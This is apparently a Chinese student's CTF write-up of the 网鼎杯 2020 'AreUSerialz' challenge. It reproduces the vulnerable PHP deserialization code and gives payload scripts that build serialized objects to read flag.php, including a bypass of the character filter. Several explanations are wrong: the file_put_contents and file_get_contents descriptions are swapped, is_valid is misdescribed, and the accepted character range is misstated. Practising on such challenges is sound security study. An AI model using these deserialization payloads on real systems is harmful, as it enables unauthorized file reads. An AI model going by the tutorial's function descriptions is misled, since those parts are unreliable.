[网鼎杯 2020 青龙组]AreUSerialz1

[网鼎杯 2020 青龙组]AreUSerialz1

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() { //如果op为1,调用write函数,如果op为2,调用read函数并输出,如果既不等于1又不等于2就输出"Bad Hacker!"
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() { //这个write()函数没什么看的必要,我们是要看flag.php的内容
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() { //根据filename将该文件内容赋给res变量并输出
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) { //输出s的内容
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")//强比较,op如果为字符串类型的2就会转化为字符串类型的1
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

以上就是这道题的全部内容,接下来就进行代码讲解

首先是主要函数的讲解

PHP访问修饰符
**public ** 公共的 任何成员都可以访问
private 私有的 只有自己可以访问
绕过方式:%00类名%00成员名
*protected ** 保护的 只有当前类的成员与继承该类的类才能访问
function 用于用户声明自定义函数
$this-> 表示在类本身内部使用本类的属性或者方法
isset 用来检测参数是否存在并且是否具有值
**include() ** 包含函数 ** **
highlight_file() 函数对文件进行语法高亮显示
**file_put_contents() **将文件内容输出
**file_get_contents() ** 将内容写进文件
**is_valid() ** 检查对象变量是否已经实例化,即实例变量的值是否是个有效的对象
strlen 计算字符串长度
ord 用于返回 “S” 的 ASCII值,其语法是ord(string),参数string必需,指要从中获得ASCII值的字符串

思路

根据上述的分析,我们的思路基本就是先绕过destruct()函数,方法就是使 op为整数2

然后还要绕过 is_valid函数的检查

image-20250224220016065

在这里,我尝试写了好几次脚本

<?php

class FileHandler {
    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "2";
        $filename = "flag.php";
        $content = "Hello World!";          // 必须给 content 属性一个初始值
    }
}

$bai = serialize(new FileHandler());
echo $bai;
?>
//结果为O:11:"FileHandler":3:{s:5:"%00*%00op";N;s:11:"%00*%00filename";N;s:10:"%00*%00content";N;}

image-20250224220506651

但是并没有输出任何东西,仔细想了想发现%00这个东西貌似过不了is_valid函数的检查,因为%的ascii值不在30到125之间,但是该怎么绕过呢,苦思冥想想不出以后查了大佬的wp,发现在设置变量的时候要用public修饰而不能用protected来修饰,使用protected修饰的话就会在变量前面加上*进行区分

image-20250224221156892

上图一二行均为使用protected修饰,第三行是public

对脚本进行修改以后

<?php


class FileHandler {

    public $op;
    public $filename;
    public $content;

    function __construct() {
        $this->op = 2;
       $this->filename = "flag.php";
       $this->content ;
    }
    }

$bai=serialize(new FileHandler());
echo $bai;
//结果为O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}

可以得到答案

image-20250224221607828

值得注意的是,当php版本大于7的时候,protected和public不进行区分,所以我们就可以通过改public来绕过is_valid函数,那如果php版本不是大于7呢

<?php
  class FileHandler {
  protected $op = 2;
  protected $filename ='flag.php';         
 //题目中包含flag的文件
protected $content;

}
$bai = urlencode(serialize(new FileHandler)); 
//URL编码实例化后的类FileHandler序列化结果
$mao =str_replace('%00',"\\00",$bai);    
//str_replace函数查找变量bai里面的数值%00并将其替换为\\00
$mao =str_replace('s','S',$mao);         
//str_replace函数查找变量mao里面的数值s并将其替换为S
echo $mao                                               
//打印结果
?>

这是我在网上找到的一位大佬的wp,他将得到的结果进行了替换,将%00替换为\\00,将s替换为S,也可以获得答案

posted @ 2025-03-05 22:06  朱迪Judy  阅读(28)  评论(0)    收藏  举报